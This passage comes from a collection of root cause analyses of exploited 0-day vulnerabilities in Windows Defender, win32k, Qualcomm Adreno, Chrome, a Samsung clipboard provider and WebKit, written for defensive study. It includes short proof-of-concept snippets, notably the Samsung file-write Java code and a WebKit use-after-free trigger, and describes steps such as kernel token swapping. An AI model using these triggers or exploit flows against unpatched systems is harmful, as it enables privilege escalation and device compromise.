next_sect_addr <= sect_addr we continue on to next entry in the table 47 | 48 | [...] 49 | new_sect_alloc = operator new[](sect_sz + sect_addr);// allocate new section 50 | [...] 51 | 52 | ``` 53 | 54 | **Patch analysis:** There are quite a few changes to the function `CAsprotectDLLAndVersion::RetrieveVersionInfoAndCreateObjects` between version 1.1.17600.5 (vulnerable) and 1.1.17700.4 (patched). The directly related change was to add an `else` branch to the comparison so that if any entry in the section array has an address less than or equal to the previous entry, the code will error out and exit rather than continuing to decompress. 55 | 56 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 57 | 58 | It seems possible that this vulnerability was found through fuzzing or manual code review. If the ASProtect unpacking code was included from an external library, that would have made the process of finding this vulnerability even more straightforward for both fuzzing & review. 59 | 60 | **(Historical/present/future) context of bug:** 61 | 62 | ## The Exploit 63 | 64 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 65 | 66 | **Exploit strategy (or strategies):** 67 | 68 | 1. The heap buffer overflow is used to overwrite the data in an object stored as the first field in the `lfind_switch` object which is allocated in the `lfind_switch::switch_out` function. 69 | 2. The two fields that were overwritten in the object pointed to by the `lfind_switch` object are used as indices in `lfind_switch::switch_in`. Due to no bounds checking on these indices, another out-of-bounds write can occur. 70 | 3. The out of bounds write in step 2 performs an `or` operation on the field in the `VMM_context_t` struct (the virtual memory manager within Windows Defender) that stores the length of a table that tracks the virtual mapped pages. This field usually equals the number of pages mapped * 2. By performing the 'or' operations, the value in the that field is increased (for example from 0x0000000C to 0x0003030c. When it's increased, it allows for an additional out-of-bounds read & write, used for modifying the memory management struct to allow for arbitrary r/w. 71 | 72 | The second step of overwriting the `lfind_switch` struct is likely done because the `VMM_context_t` struct is very far from the buffer that is originally overflowed (0x3C0000+ in my test). Overwriting this amount of memory would likely make the exploit less stable. 73 | 74 | **Exploit flow:** 75 | 76 | The exploit uses "primitive bootstrapping" to to use the original buffer overflow to cause two additional out-of-bounds writes to ultimately gain arbitrary read/write. 77 | 78 | **Known cases of the same exploit flow:** Unknown. 79 | 80 | **Part of an exploit chain?** Unknown. 81 | 82 | ## The Next Steps 83 | 84 | ### Variant analysis 85 | 86 | **Areas/approach for variant analysis (and why):** 87 | 88 | * Review ASProtect unpacker for additional parsing bugs. 89 | * Review and/or fuzz other unpacking code for parsing and memory issues. 90 | 91 | **Found variants:** N/A 92 | 93 | ### Structural improvements 94 | 95 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 96 | 97 | **Ideas to kill the bug class:** 98 | 99 | * Building `mpengine.dll` with ASAN enabled should allow for this bug class to be caught. 100 | * Rust. A memory safe language could potentially protect against these types of memory corruption vulnerabilities. 101 | 102 | **Ideas to mitigate the exploit flow:** 103 | 104 | * If possible, adding bounds checking to anywhere indices are used. For example, is there a way to add bounds check to when indices are used in `lfind_switch::switch_in`. It could have maybe prevented the 2nd out-of-bounds write which allowed this exploit to modify the `VMM_context_t` structure. This would be dependent on the attacker not being able to overwrite the bounds. 105 | 106 | **Other potential improvements:** 107 | 108 | * It appears that by default the Windows Defender emulator runs outside of a sandbox. In 2018, there was this [article](https://www.microsoft.com/security/blog/2018/10/26/windows-defender-antivirus-can-now-run-in-a-sandbox/) that Windows Defender Antivirus can now run in a sandbox. The article states that when sandboxing is enabled, you will see a content process `MsMpEngCp.exe` running in addition to `MsMpEng.exe`. By default, on Windows 10 machines, I only see `MsMpEng.exe` running as `SYSTEM`. Sandboxing the anti-malware emulator by default, would make this vulnerability more difficult to exploit because a sandbox escape would then be required in addition to this vulnerability. 109 | * Open sourcing unpackers could allow more folks to find issues in this code, which could potentially detect issues like this more readily. 110 | * It did not appear that this code had been extensively fuzzed. If this is the case, incorporating fuzz-testing into the software development lifecycle could help catch these types of issues. 111 | 112 | ### 0-day detection methods 113 | 114 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? 115 | 116 | * Detecting these types of 0-days will be difficult due to the sample simply dropping a new file with the characteristics to trigger the vulnerability, such as a section table that includes the same virtual address twice. The exploit method also did not require anything that especially stands out. 117 | 118 | ## Other References 119 | 120 | * February 2021: [浅析 CVE-2021-1647 的漏洞利用技巧("Analysis of CVE-2021-1647 vulnerability exploitation techniques")](https://www.anquanke.com/post/id/231625) by Threatbook 121 | -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-1732.md: -------------------------------------------------------------------------------- 1 | 2 | # CVE-2021-1732: Windows win32k flag setting out of sync in xxCreateWindowEx 3 | Quan Jin, DBappSecurity 4 | 5 | ## The Basics 6 | 7 | **Disclosure or Patch Date:** 10 February 2021 8 | 9 | **Product:** Microsoft Windows 10 | 11 | **Advisory:** https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732 12 | 13 | **Affected Versions:** For Windows 10 20H2 x64, [KB4598242](https://support.microsoft.com/en-us/topic/january-12-2021-kb4598242-os-builds-19041-746-and-19042-746-ab18a1a1-d572-598f-4d86-7137aad34056) and previous 14 | 15 | **First Patched Version:** For Windows 10 20H2 x64, [KB4601319](https://support.microsoft.com/en-us/topic/february-9-2021-kb4601319-os-builds-19041-804-and-19042-804-87fc8417-4a81-0ebb-5baa-40cfab2fbfde) 16 | 17 | **Issue/Bug Report:** N/A 18 | 19 | **Patch CL:** N/A 20 | 21 | **Bug-Introducing CL:** N/A 22 | 23 | **Reporter(s):** JinQuan, MaDongZe, TuXiaoYi, and LiHao of DBAPPSecurity Co., Ltd 24 | 25 | ## The Code 26 | 27 | **Proof-of-concept:** https://github.com/KaLendsi/CVE-2021-1732-Exploit 28 | 29 | **Exploit sample:** N/A 30 | 31 | **Did you have access to the exploit sample when doing the analysis?** Yes 32 | 33 | ## The Vulnerability 34 | 35 | **Bug class:** Flag setting out of sync 36 | 37 | **Vulnerability details:** 38 | 39 | The bug is caused by xxxClientAllocWindowClassExtraBytes callback in win32kfull!xxxCreateWindowEx. The callback causes the setting of tagWND.WndExtra and its corresponding flag to be out of sync. 40 | 41 | When xxxCreateWindowEx creating a window that has WndExtra area, it will call xxxClientAllocWindowClassExtraBytes to trigger a callback, the callback will return to user mode to allocate WndExtra area. In the custom callback function, the attacker could call NtUserConsoleControl and pass in the handle of current window, this will change tagWND.WndExtra to an offset, and setting a corresponding flag to indicate that tagWND.WndExtra now is an offset. After that, the attacker could call NtCallbackReturn in the callback and return an arbitrary value. When the callback ends and return to kernel mode, the return value will overwrite the tagWND.WndExtra, but the corresponding flag is not cleared. After that, the unchecked offset value is directly used by kernel code for heap memory addressing, causing out-of-bounds access. 42 | 43 | **Patch analysis:** N/A 44 | 45 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 46 | 47 | This type of vulnerability can be discovered by carefully auditing the possible changes in the flag before and after the callback function, especially carefully audit those API functions that can be called to change the kernel structure flag during the callback process. 48 | 49 | **(Historical/present/future) context of bug:** 50 | 51 | DBappSecurity found this bug exploited as an independent component. 52 | 53 | The exploit was discovered by DBappSecurity in December 2020. The initial exploit was designed to attack Windows 1909 x64. It’s possible that the attackers decided to use this exploit to achieve privilege escalation on a windows 10 1909 x64 machine. 54 | 55 | ## The Exploit 56 | 57 | The details about the exploitation method were posted by DBappSecurity in their post "[WINDOWS KERNEL ZERO-DAY EXPLOIT (CVE-2021-1732) IS USED BY BITTER APT IN TARGETED ATTACK](https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/)". 58 | 59 | **Exploit strategy (or strategies):** 60 | 61 | 1. The origin exploit mainly creates three windows: window 0, window 1 and window 2. 62 | 2. The exploit calls NtUserConsoleControl to change the flag of window 0 to offset, and leaks an offset of window 0 via HMValidateHandle. 63 | 3. In the callback, the exploit calls NtUserConsoleControl again to change the flag of window 2 to offset, and triggers the bug to overwrite the tagWND.WndExtra of window 2 to the leak offset of window 0. 64 | 4. When the callback ends, window 2 obtains the primitive to operate the kernel tagWND of window 0. 65 | 66 | **Exploit flow:** 67 | 68 | 1. The HMValidateHandle function is used to leak the offset of tagWND. 69 | 2. The exploit calls SetWindowLongW to set cbWndExtra of of window 0 to 0xfffffff, this gives window 0 the OOB read/write primitives. 70 | 3. The exploit then uses the OOB write primitive of window 0 to modify the style of window 1(dwStyle|=WS_CHILD), after that, the exploit replaces the origin spmenu of window 2 with a fake spmenu. 71 | 4. The arbitrary read primitive is achieved by fake spmenu works with GetMenuBarInfo. 72 | 5. The arbitrary write primitive is achieved via window 0 and window 1, works with SetWindowLongPtrA. 73 | 6. After achieving the arbitrary read/write primitives, the exploit leaks a kernel address from the origin spmemu, then searches through it to find the EPROCESS of current process. 74 | 7. Finally, the exploit traversals ActiveProcessLinks to get the token of SYSTEM EPROCESS and the token area address of current EPROCESS, and swaps the current process Token value with SYSTEM Token. This is a known technique that has been documented in many places such as [here](https://improsec.com/tech-blog/windows-kernel-shellcode-on-windows-10-part-1). 75 | 76 | **Known cases of the same exploit flow:** 77 | 78 | - Many windows kernel exploits will use HMValidateHandle to leak kernel address. 79 | 80 | - Most win32k exploits will use SetWindowLong* functions to achieve arbitrary read/write primitives. 81 | - Most windows kernel exploits will swap the current process token with SYSTEM token. 82 | 83 | **Part of an exploit chain?** No 84 | 85 | ## The Next Steps 86 | 87 | ### Variant analysis 88 | 89 | **Areas/approach for variant analysis (and why):** The variant of this bug can be discovered by carefully auditing the possible changes in the flag before and after the callback function. Especially carefully audit those API functions that can be called to change the kernel structure flag during the callback process. 90 | 91 | **Found variants:** N/A 92 | 93 | ### Structural improvements 94 | 95 | **Ideas to kill the bug class:** Carefully auditing the possible changes in the flag before and after the win32k callback function 96 | 97 | **Ideas to mitigate the exploit flow:** N/A 98 | 99 | **Other potential improvements:** N/A 100 | 101 | ### 0-day detection methods 102 | 103 | 1. Check whether the token of current process is replaced with SYSTEM token at the right time. 104 | 2. Check whether a call to HmValidateHandle is from an address out of user32.dll, there is [a demo of this method](https://theevilbit.github.io/posts/a_simple_protection_against_hmvalidatehandle_technique/). 105 | 106 | ## Other References 107 | 108 | - February 2021: "[WINDOWS KERNEL ZERO-DAY EXPLOIT (CVE-2021-1732) IS USED BY BITTER APT IN TARGETED ATTACK](https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/)" by DBappSecurity 109 | 110 | -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-1905.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-1905: Qualcomm Adreno GPU memory mapping use-after-free 2 | *Ben Hawkes, Project Zero* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 1 May 2021 7 | 8 | **Product:** Qualcomm Adreno GPU 9 | 10 | **Advisory:** https://www.qualcomm.com/company/product-security/bulletins/may-2021-bulletin 11 | 12 | **Affected Versions:** Prior to Android 2021-05-01 security patch level 13 | 14 | Note: the Qualcomm Adreno GPU kernel driver may be used in other platforms aside from Android, but the following analysis was performed with Android in mind, since Android is a high priority area of interest for Project Zero. 15 | 16 | **First Patched Version:** Android 2021-05-01 security patch level 17 | 18 | **Issue/Bug Report:** N/A 19 | 20 | **Patch CL:**\ 21 | https://source.codeaurora.org/quic/la/kernel/msm-4.9/commit/?id=d236d315145f8250523ce9e14897d62e5d6639fc \ 22 | https://source.codeaurora.org/quic/la/kernel/msm-4.9/commit/?id=ec3c8cf016991818ca286c4fd92255393c211405 23 | 24 | **Bug-Introducing CL:** N/A 25 | 26 | **Reporter(s):** N/A 27 | 28 | ## The Code 29 | 30 | **Proof-of-concept:** N/A 31 | 32 | **Exploit sample:** N/A 33 | 34 | **Did you have access to the exploit sample when doing the analysis?** No 35 | 36 | ## The Vulnerability 37 | 38 | **Bug class:** use-after-free (UaF) 39 | 40 | **Vulnerability details:** 41 | 42 | There are two conditions required to trigger this vulnerability. 43 | 44 | The first condition is to trigger a state error in a core GPU structure used to track GPU mappings. A GPU shared mapping with multiple VMAs (Linux kernel virtual memory areas) is created (e.g. by splitting a larger mapping). One of the mappings is closed, which results in the `kgsl_gpumem_vm_close` function being called via the registered `struct vm_operations_struct`. The `kgsl_gpumem_vm_close` then clears the `entry->memdesc.useraddr` field of the GPU shared mapping's `struct kgsl_mem_entry`. Unfortunately this has an unintended logical effect for the remaining VMA, since the entry structure is shared, and this field is used to check whether the entry is already mapped. 45 | 46 | Specifically this means that `get_mmap_entry` will successfully return this entry when the GPU mapping is mapped for a second time. This occurs in both `kgsl_mmap` and `kgsl_get_unmapped_area`, but the latter looks most interesting for this attack. 47 | 48 | The `kgsl_get_unmapped_area` function is called by the Linux kernel's mmap implementation. A semaphore (`mmap_sem`) is held which prevents multiple threads in the same process from calling this function concurrently. In the Qualcomm GPU design, multiple processes can share the same GPU address space (such as a child process that is forked after the KGSL file descriptor is opened), and so multiple VMAs can share the same underlying `struct kgsl_mem_entry`. 49 | 50 | The second condition is to trigger a race condition in `kgsl_get_unmapped_area` between two processes trying to map the same GPU mapping at the same time. Since this occurs after the first condition has been triggered, which can result in the same `struct kgsl_mem_entry` is being used at the same time in each process. Since there are no locks held on this structure, this can lead to unexpected behavior. 51 | 52 | There are a number of paths that could be explored to exploit this issue, such as using an error path to call `kgsl_iommu_put_gpuaddr` on a successfully allocated mapping. 53 | 54 | **Patch analysis:** 55 | 56 | Although only one patch is listed in the Qualcomm advisory, we believe both patches listed above are relevant to this issue. The first patch changes the way `kgsl_gpumem_vm_close` accounts for the fact that multiple VMAs may point to the same GPU shared mapping. The second patch adds locking to the `memdesc` field of the `struct kgsl_mem_entry`, which aims to prevent similar race conditions in memory management routines. 57 | 58 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 59 | 60 | Given the complex interplay of discretely triggering one condition followed by winning a race condition, this issue would be challenging to fuzz, but it might be possible with a well-crafted fuzzer designed specifically for the Qualcomm GPU driver (e.g. by biasing system calls toward relevant process management, memory management and well-formed KGSL ioctl system calls). 61 | 62 | It is possible that this issue was found manually, either by observing the lack of locking on the shared `struct kgsl_mem_entry` and working backward to establish a path to triggering this, or by observing the suspicious state management in `kgsl_gpumem_vm_close` and building the attack up from there. 63 | 64 | **(Historical/present/future) context of bug:** 65 | 66 | A different use-after-free (UaF) vulnerability was discovered and fixed by Man Yue Mo from the GitHub Security Lab. This vulnerability was in a different part of GPU memory management code, and was not known to be exploited in-the-wild. His write-up of this attack can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android/). 67 | 68 | Another issue, CVE-2021-1906, was fixed by Qualcomm at the same time and reported as in-the-wild. This change is believed to be related to CVE-2020-11261 (also marked as exploited in-the-wild), and is not directly useful by itself. 69 | 70 | ## The Exploit 71 | 72 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 73 | 74 | **Exploit strategy (or strategies):** N/A 75 | 76 | **Exploit flow:** N/A 77 | 78 | **Known cases of the same exploit flow:** N/A 79 | 80 | **Part of an exploit chain?** N/A 81 | 82 | ## The Next Steps 83 | 84 | ### Variant analysis 85 | 86 | **Areas/approach for variant analysis (and why):** 87 | 88 | Generally all of the structures that can be shared between multiple processes (such as `struct kgsl_process_private`) should be carefully investigated for state assumptions, reference counting issues, and race conditions. 89 | 90 | **Found variants:** 91 | 92 | A cursory review of relevant structure members and memory management related ioctls and callbacks didn't surface any variants of this issue. 93 | 94 | ### Structural improvements 95 | 96 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 97 | 98 | **Ideas to kill the bug class:** 99 | 100 | In this case it's hard to say if the attack would have proceeded with the classical memory corruption route (e.g. using the freed object to achieve arbitrary R/W), or with a GPU specific approach (such as granting arbitrary physical memory R/W to an attacker controlled GPU context). If the former approach, then upcoming memory tagging designs would likely help. The latter approach would require further study. 101 | 102 | **Ideas to mitigate the exploit flow:** N/A 103 | 104 | **Other potential improvements:** N/A 105 | 106 | ### 0-day detection methods 107 | 108 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? 109 | 110 | Kernel crash log analysis might be one approach, but establishing the root-cause of an issue like this using only crash output would be challenging. Runtime anomaly detection might be another option, but would require specialist tooling. 111 | 112 | ## Other References 113 | -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-21166.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-21166: Chrome Object Lifecycle Issue in Audio 2 | *Clement Lecigne, Google Threat Analysis Group* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 2 March 2021 7 | 8 | **Product:** Google Chrome 9 | 10 | **Advisory:** 11 | https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop.html 12 | 13 | **Affected Versions:** 89.0.4389.69 and previous 14 | 15 | **First Patched Version:** 89.0.4389.72 16 | 17 | **Issue/Bug Reports:** 18 | 19 | * https://bugs.chromium.org/p/chromium/issues/detail?id=1174582 20 | * https://bugs.chromium.org/p/chromium/issues/detail?id=1181341 21 | * https://bugs.chromium.org/p/chromium/issues/detail?id=1177465 22 | 23 | **Patch CL:** 24 | 25 | * https://chromium.googlesource.com/chromium/src/+/60987aa224f369fc0ea38c56e498389440921356 26 | * https://chromium.googlesource.com/chromium/src/+/b9e60ddc7606689e508f295077656389380288ba 27 | 28 | **Bug-Introducing CL:** N/A 29 | 30 | **Reporter(s):** 31 | Alison Huffman of Microsoft Browser Vulnerability Research and Clement Lecigne of 32 | Google Threat Analysis Group 33 | 34 | ## The Code 35 | 36 | **Proof-of-concept:** 37 | 38 | From [crbug/1174582](https://bugs.chromium.org/p/chromium/issues/detail?id=1174582) by Alison Huffman of Microsoft Browser Vulnerability Research: 39 | 40 | ```html 41 | 42 | 43 | 73 |

Click Me!

74 | 75 | 76 | ``` 77 | 78 | **Exploit sample:** N/A 79 | 80 | **Did you have access to the exploit sample when doing the analysis?** Yes 81 | 82 | ## The Vulnerability 83 | 84 | **Bug class:** Race Condition 85 | 86 | **Vulnerability details:** 87 | 88 | There is a threading issue in `ScriptProcessorNode::process()` where input and 89 | output shared buffers are accessible concurrently by other threads without proper 90 | locking. 91 | 92 | In the poc, `inputBuffer` is accessed concurrently from the audio thread and 93 | from the main thread at the same time causing an out-of-bounds write during `std::sort()`. 94 | 95 | The very same issue [affected](https://bugs.webkit.org/show_bug.cgi?id=222447) 96 | WebKit as well. We do not have any evidence that this vulnerability was used 97 | to target Safari users. 98 | 99 | **Patch analysis:** 100 | 101 | There were two different fixes implemented to address this bug: 102 | * Expand the scope of the existing mutex by locking the entire scope of the `Process` call within `ScriptProcessorNode`, and 103 | * Instead of sharing the buffers across the main and audio threads, creating new AudioBuffers for each `onAudioProcess` call. 104 | 105 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 106 | 107 | **(Historical/present/future) context of bug:** 108 | 109 | ## The Exploit 110 | 111 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 112 | 113 | **Exploit strategy (or strategies):** Under analysis 114 | 115 | **Exploit flow:** Under analysis 116 | 117 | **Known cases of the same exploit flow:** 118 | 119 | **Part of an exploit chain?** 120 | 121 | This exploit was most likely chained with a sandbox escape that we did not manage to retrieve. 122 | 123 | ## The Next Steps 124 | 125 | ### Variant analysis 126 | 127 | **Areas/approach for variant analysis (and why):** 128 | 129 | **Found variants:** 130 | 131 | ### Structural improvements 132 | 133 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 134 | 135 | **Ideas to kill the bug class:** 136 | 137 | **Ideas to mitigate the exploit flow:** 138 | 139 | **Other potential improvements:** 140 | 141 | According to [this comment](https://bugs.chromium.org/p/chromium/issues/detail?id=1174582#c16), this feature was deprecated from the spec years ago. Remove the code. 142 | 143 | ### 0-day detection methods 144 | 145 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? 146 | 147 | These types of exploits are likely hard to detect generically. 148 | 149 | ## Other References 150 | * July 2021: ["How We Protect Users From 0-Day Attacks"](https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks) by Google's Threat Analysis Group -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-25337-advisory.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/googleprojectzero/0days-in-the-wild/bf4c0e41fab9efa1bbe2b189c3afeed55dcb287e/0day-RCAs/2021/CVE-2021-25337-advisory.png -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-25337.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-25337: Samsung file system r/w in clipboard provider 2 | *Maddie Stone* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** March 01, 2021 7 | 8 | **Product:** Samsung Android 9 | 10 | **Advisory:** https://security.samsungmobile.com/securityUpdate.smsb 11 | 12 | ![](CVE-2021-25337-advisory.png) 13 | 14 | **Affected Versions:** pre SMR-Mar-2021 15 | 16 | **First Patched Version:** SMR-Mar-2021 17 | 18 | **Issue/Bug Report:** N/A 19 | 20 | **Patch CL:** N/A 21 | 22 | **Bug-Introducing CL:** N/A 23 | 24 | **Reporter(s):** Anonymous 25 | 26 | ## The Code 27 | 28 | **Proof-of-concept:** 29 | 30 | ```java 31 | ContentValues vals = new ContentValues(); 32 | vals.put("_data", "/data/system/users/0/newFile.bin"); 33 | URI semclipboard_uri = 34 | URI.parse("content://com.sec.android.semclipboardprovider") 35 | ContentResolver resolver = getContentResolver(); 36 | URI newFile_uri = resolver.insert(semclipboard_uri, vals); 37 | return resolver.openFileDescriptor(newFile_uri, "w").getFd(); 38 | ``` 39 | 40 | **Exploit sample:** N/A 41 | 42 | **Access to the exploit sample?** Yes 43 | 44 | ## The Vulnerability 45 | 46 | **Bug class:** Logic/design flaw, lack of access control 47 | 48 | **Vulnerability details:** 49 | 50 | There is a custom content provider, `SemClipboardProvider`, running in the system server. A bug in the `SemClipboardProvider` allows `untrusted_app` to indirectly open and create files on the filesystem through `SemClipboardProvider`. The `untrusted_app` can then receive a file descriptor to read and write files that it usually wouldn't be able to open via Linux file permissions or SELinux. 51 | 52 | By default, all applications can read from or write to content providers. Apps use permissions in their manifest to control access. System server code is not in an application, but rather a JAR, `services.jar`. The system server's manifest lives in `/system/framework/framework-res.apk`. In this case there were no permissions associated with`SemClipboardProvider` so any apps could read from or write to the table. 53 | 54 | ``` 55 | 56 | ``` 57 | 58 | `SemClipboardProvider` defines two columns for its table: id and \_data. The column name \_data has a special use in Android content providers. It can be used with the `openFileHelper` method to open a file at a specified path. Only the URI of the row in the table is passed to `openFileHelper` and a `ParcelFileDescriptor` object for the path stored in that row is returned. The `ParcelFileDescriptor` class then provides the `getFd` method to get the native file descriptor (fd) for the returned ParcelFileDescriptor. 59 | 60 | **Patch analysis:** 61 | 62 | Samsung fixed the bug by checking that the UID of the calling process is `system` (UID 1000) prior to executing the `insert` function of the content provider. This check was also added to the `update` and `delete` functions. 63 | 64 | Sometime between March 2021 and October 2022 the `SemClipboardProvider` was deleted from the system server. It was moved into the Samsung Keyboard app as `com.samsung.android.honeyboard.icecone.provider.RichcontentProvider`. The Samsung Keyboard app doesn't run as `system` UID. 65 | 66 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 67 | 68 | This vuln was likely found through code auditing because it would have been pretty obvious to see that there is a lack of access control on both the provider and the function. A static analysis tool could have also been possible. 69 | 70 | **(Historical/present/future) context of bug:** 71 | 72 | This bug was used as a part of a chain described in [this blog post](https://googleprojectzero.blogspot.com/2022/11/a-very-powerful-clipboard-samsung-in-the-wild-exploit-chain.html). 73 | 74 | ## The Exploit 75 | 76 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 77 | 78 | **Exploit strategy (or strategies):** 79 | 80 | This vulnerability was used 4 different times in the exploit chain. This chain is described in full detail in [this blog post](https://googleprojectzero.blogspot.com/2022/11/a-very-powerful-clipboard-samsung-in-the-wild-exploit-chain.html). 81 | 82 | 1. Uses it to write the stage 2 ELF to the file system 83 | 2. Write to the SamsungTTS app settings file to load the stage 2 ELF 84 | 3. Same as 2, but a slightly different path since there are two possible paths for the settings file 85 | 4. Open a fd to the dpu driver in order to call an IOCTL on it for the priv esc 86 | 87 | **Exploit flow:** N/A 88 | 89 | **Known cases of the same exploit flow:** N/A 90 | 91 | **Part of an exploit chain?** 92 | 93 | Yes, used in a chain with a kernel info leak and a kernel priv esc. There would have also needed to be a step prior because this exploit would need to be running within some application on the device. 94 | 95 | ## The Next Steps 96 | 97 | ### Variant analysis 98 | 99 | **Areas/approach for variant analysis (and why):** 100 | 101 | **Found variants:** N/A 102 | 103 | ### Structural improvements 104 | 105 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 106 | 107 | **Ideas to kill the bug class:** 108 | 109 | * Content providers have a defined "Allowed Columns" list to prevent a client adding a `_data` column if it's not expected like the [VoicemailContentTable in AOSP](https://cs.android.com/android/platform/superproject/+/master:packages/providers/ContactsProvider/src/com/android/providers/contacts/VoicemailContentTable.java;drc=d3cf93d7c01809c12525f096ef1e1e840267b33a;l=61). 110 | * If a content provider uses the `_data` column for file access, a content provider path is required to be defined as a part of the definition. Files can only be opened to and from that path. Otherwise, a client can't insert to the `_data` column, only the content provider can. 111 | 112 | **Ideas to mitigate the exploit flow:** 113 | 114 | **Other potential improvements:** 115 | 116 | ### 0-day detection methods 117 | 118 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? 119 | 120 | ## Other References 121 | 122 | * Project Zero Blog on the sample: https://googleprojectzero.blogspot.com/2022/11/a-very-powerful-clipboard-samsung-in-the-wild-exploit-chain.html 123 | -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-25369-advisory.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/googleprojectzero/0days-in-the-wild/bf4c0e41fab9efa1bbe2b189c3afeed55dcb287e/0day-RCAs/2021/CVE-2021-25369-advisory.png -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-30858.md: -------------------------------------------------------------------------------- 1 | ## CVE-2021-30858: WebKit use-after-free in IndexedDB 2 | *Maddie Stone, Google Project Zero* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 13 September 2021 7 | 8 | **Product:** Apple WebKit 9 | 10 | **Advisory:** https://support.apple.com/en-us/HT212808 11 | 12 | **Affected Versions:** pre-Safari 14.1.2, pre-iOS 14.8 13 | 14 | **First Patched Version:** Safari 14.1.2, iOS 14.8 15 | 16 | **Issue/Bug Report:** https://bugs.webkit.org/show_bug.cgi?id=229375 17 | 18 | **Patch CL:** https://trac.webkit.org/changeset/281384/webkit 19 | 20 | **Bug-Introducing CL:** ?? 21 | 22 | **Reporter(s):** Anonymous 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** 27 | 28 | index.html 29 | ```html 30 | 31 | 34 | 35 | ``` 36 | 37 | idbworker.js 38 | ```javascript 39 | function freememory() { 40 | for (var i = 0; i < 1000; i++) { 41 | a = new Uint8Array(1024*1024); 42 | } 43 | } 44 | 45 | let ev = new Event('mine'); 46 | let req = indexedDB.open('db'); 47 | req.dispatchEvent(ev); 48 | req = 0; 49 | ev = 0; 50 | freememory(); 51 | ``` 52 | 53 | **Exploit sample:** N/A 54 | 55 | **Did you have access to the exploit sample when doing the analysis?** No 56 | 57 | ## The Vulnerability 58 | 59 | **Bug class:** Use-after-free 60 | 61 | **Vulnerability details:** 62 | There is a use-after-free of the `IDBOpenDBRequest` due to a cross-thread task using a raw reference. `IDBRequest` is the base class of `IDBOpenDBRequest`. The state of the `IDBRequest` is able to be changed in `dispatchEvent` by a script-generated custom event, which leads to the `IDBRequest` being freed too early and thus the use-after-free. 63 | 64 | Prior to this vulnerability being fixed, there were two template options for the `createCrossThreadTask` function: 65 | 1. The callee object is a derived class of `ThreadSafeRefCounted` so the cross-thread task will use a `RefPtr` for the callee ([source](https://github.com/WebKit/WebKit/blame/f38367dfe2a83b4cda78235ffd1dc3001743c36e/Source/WTF/wtf/CrossThreadTask.h#L90)): 66 | 67 | ```c++ 68 | template, T>::value, int>::type = 0, typename... Parameters, typename... Arguments> 69 | CrossThreadTask createCrossThreadTask(T& callee, void (T::*method)(Parameters...), const Arguments&... arguments) 70 | { 71 | return CrossThreadTask([callee = makeRefPtr(&callee), method, arguments = std::make_tuple(crossThreadCopy(arguments)...)]() mutable { 72 | callMemberFunctionForCrossThreadTask(callee.get(), method, WTFMove(arguments)); 73 | }); 74 | } 75 | ``` 76 | 77 | 2. The callee object is NOT a derived class of `ThreadSafeRefCounted` so the cross-thread task will use a raw reference for the callee ([source](https://github.com/WebKit/WebKit/blame/f38367dfe2a83b4cda78235ffd1dc3001743c36e/Source/WTF/wtf/CrossThreadTask.h#L98)): 78 | 79 | ```c++ 80 | template, T>::value, int>::type = 0, typename... Parameters, typename... Arguments> 81 | CrossThreadTask createCrossThreadTask(T& callee, void (T::*method)(Parameters...), const Arguments&... arguments) 82 | { 83 | return 